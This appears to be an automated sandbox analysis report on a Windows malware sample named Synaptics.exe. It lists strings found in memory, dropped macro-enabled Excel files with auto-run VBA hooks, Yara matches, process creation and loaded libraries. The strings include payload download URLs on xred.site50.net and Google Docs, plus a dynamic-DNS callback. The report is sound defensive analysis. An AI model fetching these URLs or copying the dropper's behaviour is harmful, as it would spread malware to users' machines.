Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 18:39:39 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-HWzrxXNjdbkiCXkm9Unhvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC76Wm8yhZ1PhBJE_gUTyzcK0F8O2aX5Av8bgsM6JlkcKllKAT1KFa3jb_6-8L7X9Vrml3b1yXylJgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978p
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000002.00000002.3306328291.000000000082A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3402753467.000000003CA99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3410862370.000000003CDE4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3353480151.000000001C6E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000002.00000002.3306328291.000000000082A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/.M
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3307096093.0000000002050000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3379784007.000000002E4FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3374303852.00000000296BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3326370473.000000000CC3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3326235243.000000000C9BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3439556244.000000004C13E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3380886353.000000002F53E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3426272181.000000004254E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3453381656.0000000054BFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3417464248.000000003DA4E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3441946333.000000004D67E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3380975585.000000002F67E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3392859640.000000003953E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3461269445.00000000593FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3326546956.000000000CFFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3335831290.000000000F0BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3434728671.000000004844E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3325409125.000000000BBFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3344298231.0000000018DBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3359932219.000000001D6BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3370296723.0000000025BFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3331033299.000000000E64A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.000000000083F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3330088203.000000000E5A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3430853849.000000004574E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3406367765.000000003CC03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000002.00000002.3318940963.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#M$
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#lx
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3334111293.000000000E81C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3330088203.000000000E5A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3406367765.000000003CC03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000002.00000002.3318940963.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$N
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$mw
Source: Synaptics.exe, 00000002.00000002.3409122293.000000003CD04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%/
Source: Synaptics.exe, 00000002.00000002.3318940963.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%J
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%iv
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3352762160.000000001C62A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3312236880.0000000005551000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3330088203.000000000E5A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000002.00000002.3318940963.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&K
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&ju
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3354933478.000000001C7D8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3312236880.00000000055D2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3334111293.000000000E81C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3335455846.000000000E934000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3410862370.000000003CDE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000002.00000002.3318940963.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(J-
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(i
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3320598824.0000000007D2C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3358077162.000000001CA40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3349156128.000000001C3B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3318940963.0000000007C26000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3320598824.0000000007C90000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3406367765.000000003CC03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)N
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)u
Source: Synaptics.exe, 00000002.00000002.3331033299.000000000E6AB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3320598824.0000000007D2C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3354154886.000000001C769000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3352762160.000000001C62A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3358077162.000000001CA40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3349156128.000000001C3B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3312236880.0000000005551000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3330088203.000000000E5A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3332032602.000000000E70B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3333388986.000000000E781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000002.00000002.3318940963.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-K
Source: Synaptics.exe, 00000002.00000002.3355248527.000000001C850000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.000000000083F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3350361915.000000001C474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-c
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-j~
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3409122293.000000003CD04000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3409958012.000000003CD94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3331033299.000000000E6AB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3354933478.000000001C7D8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3352762160.000000001C62A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.000000000083F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3330088203.000000000E5A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3320598824.0000000007C90000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3333388986.000000000E781000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3400231861.000000003C9C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3409122293.000000003CD04000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3409958012.000000003CD94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3331033299.000000000E6AB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3354933478.000000001C7D8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3352762160.000000001C62A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3334111293.000000000E81C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3332032602.000000000E70B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3333388986.000000000E781000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3400231861.000000003C9C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000002.00000002.3331033299.000000000E6AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..(
Source: Synaptics.exe, 00000002.00000002.3409122293.000000003CD04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..)-
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3409958012.000000003CD94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3331033299.000000000E6AB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3354933478.000000001C7D8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3351242447.000000001C4F0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3352762160.000000001C62A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3334111293.000000000E81C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3355936735.000000001C8C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3306328291.000000000083F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3332032602.000000000E70B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3333388986.000000000E781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000002.00000002.3358882464.000000001CAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..EO

Source: IApGaAjb.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: EOWRVPQCCS.xlsm.2.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: Synaptics.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: Synaptics.exe, 00000000.00000003.2045355489.000000000069D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Synaptics.exe
Source: Synaptics.exe, 00000000.00000000.2044290453.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs Synaptics.exe
Source: Synaptics.exe, 00000000.00000000.2044382755.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs Synaptics.exe
Source: Synaptics.exe, 00000000.00000003.2050869017.0000000000690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName2 vs Synaptics.exe
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Synaptics.exe
Source: Synaptics.exe, 00000000.00000003.2050798722.0000000002190000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Synaptics.exe
Source: Synaptics.exe, 00000000.00000003.2045331871.000000000068C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Synaptics.exe
Source: Synaptics.exe	Binary or memory string: OriginalFileName vs Synaptics.exe
Source: Synaptics.exe	Binary or memory string: OriginalFilenameb! vs Synaptics.exe
Source: Synaptics.exe.0.dr	Binary or memory string: OriginalFileName vs Synaptics.exe
Source: Synaptics.exe.0.dr	Binary or memory string: OriginalFilenameb! vs Synaptics.exe

Source: Yara match	File source: Synaptics.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Synaptics.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2044290453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Synaptics.exe "C:\Users\user\Desktop\Synaptics.exe"
Source: C:\Users\user\Desktop\Synaptics.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\Synaptics.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
